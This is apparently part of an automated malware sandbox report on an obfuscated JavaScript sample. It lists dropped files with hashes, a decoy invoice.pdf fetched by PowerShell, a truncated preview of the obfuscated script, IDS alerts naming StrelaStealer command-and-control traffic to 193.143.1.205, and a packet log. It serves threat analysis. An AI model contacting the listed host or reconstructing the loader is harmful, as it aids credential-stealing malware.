SSDEEP:	384:RJV49BkakBYijKS3ZNTU2sXaSd+KzjHhEXDvh9B6iwWt9HVbiLEZDmDi/aEmWnf1:OLG
MD5:	E95DAB4DE5096E08FF06F432B3B340D6
SHA1:	5EDC4FFB7A48BB1CC3206B6BAC24B4F431420B25
SHA-256:	5DAC8B347C893CF80D39935E508FB13805E89837721A998A44482B7F79CD904D
SHA-512:	D0A990C893672414B0C61E03DFC1A3C025548156CC6991DC2DB55EA5B36571D9F522D36757056EE748B2B31114F4A90BFAD44699EB08253CD7A358DD2D0CBFE6
Malicious:	false
Preview:	SessionID=70bba800-1d0b-4fd9-8819-c1611ba66efe.1736574833863 Timestamp=2025-01-11T00:53:53:864-0500 ThreadID=1020 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=70bba800-1d0b-4fd9-8819-c1611ba66efe.1736574833863 Timestamp=2025-01-11T00:53:53:882-0500 ThreadID=1020 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=70bba800-1d0b-4fd9-8819-c1611ba66efe.1736574833863 Timestamp=2025-01-11T00:53:53:882-0500 ThreadID=1020 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=70bba800-1d0b-4fd9-8819-c1611ba66efe.1736574833863 Timestamp=2025-01-11T00:53:53:882-0500 ThreadID=1020 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=70bba800-1d0b-4fd9-8819-c1611ba66efe.1736574833863 Timestamp=2025-01-11T00:53:53:882-0500 ThreadID=1020 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.411499038794763
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRi:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRI
MD5:	2199C1D19D37F47B56B43E6691654EB0
SHA1:	B9726A89494381B6859403F9A2B7C651D4C09B13
SHA-256:	BC765FBFFFFA58599AD81E635983D4C960BCEDC877751F12B08CFC5209217DC5
SHA-512:	318E8137F2F7D3EF399F83BBADE0043244B7FA1A6FA40E5DA3ED4F56862B24D006F144632323A9F3F9F5B45ACBA6B08E7D46DDEE473217A080D17763D1A43775
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2715611d-f579-4d2d-b5e0-83a88771c289.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5a0b50d0-0df6-4ea1-8c8f-18c2ccff2b31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a3afbe97-d01b-48bb-9f02-4471c4eebd23.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1111944
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+fDERXTJJJJv+9UZwY0SWB4:O3Pjegf121DMNB1DofjEiJJJJm94GS84
MD5:	FA6978A9EA472E8ACFF72AFE8CC7CC81
SHA1:	D58155446B67ACF4DA331A977B8EC7BA105C2C4F
SHA-256:	3D0DF2B14FC632520705424D2DA394922D3EDD8C977950656B736352CD5A37E2
SHA-512:	6B16382E6A4B9EECB8E8FB82189C2741511E8CF99C83B3FA52B062165B3B366EE0C11A7F60CE4B08D881B2418234097FA13CCAA9C90B1D7D37BD4D9A56EBA96C
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\fba4fbc8-5414-4a83-839d-c4c9f87e78c4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvWTlP:r+Tegs661ybxrr/IxkB1mabFhOXZ/fEh
MD5:	C14EBC9A03804BAB863F67F539F142C6
SHA1:	FD44F63771819778149B24DD4B073940F5D95BFA
SHA-256:	A495629FA5E71EE50BB96F9C4CAEAC46E8B44BFC3F910A073348258F63DFAFCE
SHA-512:	8ED832A54A3925914E3BCFC96A3ABFF63A511ADAC79A869AD1569BB175CC1AF84E6C2BD20FA2187A5C3B733625EDE5D95C2172B24ED2F252835689F6D4A0F5A2
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16586), with CRLF line terminators
Entropy (8bit):	4.894009488570477
TrID:
File name:	9839206391373229960.js
File size:	19'806 bytes
MD5:	2092f7d4cff397bc3c0cdcdc9156b38f
SHA1:	a2ee8aa44df8ecaf77256e04cd38bbc260da4415
SHA256:	868d37ece2bd18355c0cb03a7c9d98c2c5f29b2764611aa464780410cf0b8afd
SHA512:	51bc2b632d36ea533465d379ba96a10336e1cf2c920ab3b7aefa2d9874db3f66b9710bcd250e3b8c5ef132d605c035b5dbacdd0502289745e9a5eceac74d3718
SSDEEP:	192:+w55qssPTA0p7ZpjGmeuvjIf++RfkpgXocZjodQvj475g9RTeaVEyOzrjlBSCuvD:v5qs8T/HS9X3H2yts8izpK
TLSH:	169231E4FC90DCDA45DC42F4A81C50D6257A598D06D843DA3C43B8C5B768326AFFB1BA
File Content Preview:	function pgtso(){tguubhyg=[1031,3079,5127,4103,2055,3072];var pmiuxj=this[cvvzw+zccsuv+zvoszy+dsnckrhzk+grolruqz+xdbpavr+dqxga+vadur](this[nfkzp+wzsqf+qjgkrv+zvoszy+agxtz+cvvzw+vadur][vzzqvvh+zvoszy+grolruqz+zccsuv+vadur+grolruqz+barwod+crlmi+htkducqs+gro

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:53:49.523577+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T06:53:49.523577+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T06:53:52.375807+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:53:48.731163025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:48.736073017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:48.736179113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:48.756757975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:48.761574984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523485899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523529053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523545980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523561001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523571968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523576975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.523583889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523613930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.523633957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.523669004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523684978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523699999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523711920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.523756981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.523772955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.574177980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.574193001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.574259043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.574312925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.574363947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.574408054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.640764952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.640783072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.640795946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.640841007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.640898943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.640909910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.640944958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.641052008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641091108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641102076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.641103029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641115904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641140938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.641649008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641669035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641681910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641695023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.641710043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641722918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.641745090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.641776085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.642481089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.642513037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.642525911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.642539024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.642551899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.642554998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.642580986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.643362045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.643385887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.643410921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.662868977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.662920952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.691294909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.691365004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.691375971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.691387892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.691401958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.691411018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.691447973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.731007099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.731024027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.731122017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.758052111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758069038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758089066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758097887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758111000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758125067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758167982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.758196115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758200884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.758681059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758692980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758704901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758718014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.758738041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.758764029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.759213924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.759226084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.759238958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.759249926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.759251118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.759262085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.759274960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.759282112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.759294987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.759352922 CET	49699	80	192.168.2.7	193.143.1.205
